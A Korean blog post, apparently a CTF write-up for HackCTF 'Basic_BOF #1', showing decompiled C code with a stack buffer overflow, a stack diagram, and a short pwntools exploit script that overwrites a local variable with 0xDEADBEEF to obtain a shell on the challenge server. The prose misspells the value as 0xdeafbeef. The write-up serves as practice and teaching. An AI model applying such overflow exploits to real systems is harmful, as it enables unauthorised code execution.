본문 바로가기
시스템 해킹/CTF

[HackCTF] Basic_BOF #1

by L3m0n S0ju 2021. 9. 10.

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [esp+4h] [ebp-34h] BYREF
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 0x4030201;
  fgets(s, 45, stdin);
  printf("\n[buf]: %s\n", s);
  printf("[check] %p\n", (const void *)v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

 

 


문제 파일을 ida로 분석하면 위 코드와 같습니다. pwnable.kr 문제를 풀다가 HackCTF 문제를 푸니 문제가 아주 쉬워보이는 효과가 있습니다. 방법은 간단합니다. gdb로 스택을 관찰하면 아래와 같습니다.

 

 

+------------------------+

|                              |

|             ret              |   
|             sfp             |    <- esp    
|             ...                |         

|              v5              |         

|             ...                |               

|              s               |             

+------------------------+

 

여기서 s와 v5사이 거리는 40이고 fgets함수로 45만큼 입력할 수 있으므로 v5를 0xdeafbeef로 덮어씌우면 플래그를 획득할 수 있습니다.

 

 

 

 

 

exploit.py


#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3000)
payload=b"A"*40+b"\xef\xbe\xad\xde"
r.send(payload)
r.interactive()

 

 

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.09.12
[HackCTF] Basic_BOF #2  (0) 2021.09.12
[Square CTF] 6yte  (0) 2021.09.04
[Square CTF] Bytes  (0) 2021.09.04
보호기법 정리  (0) 2021.08.20

댓글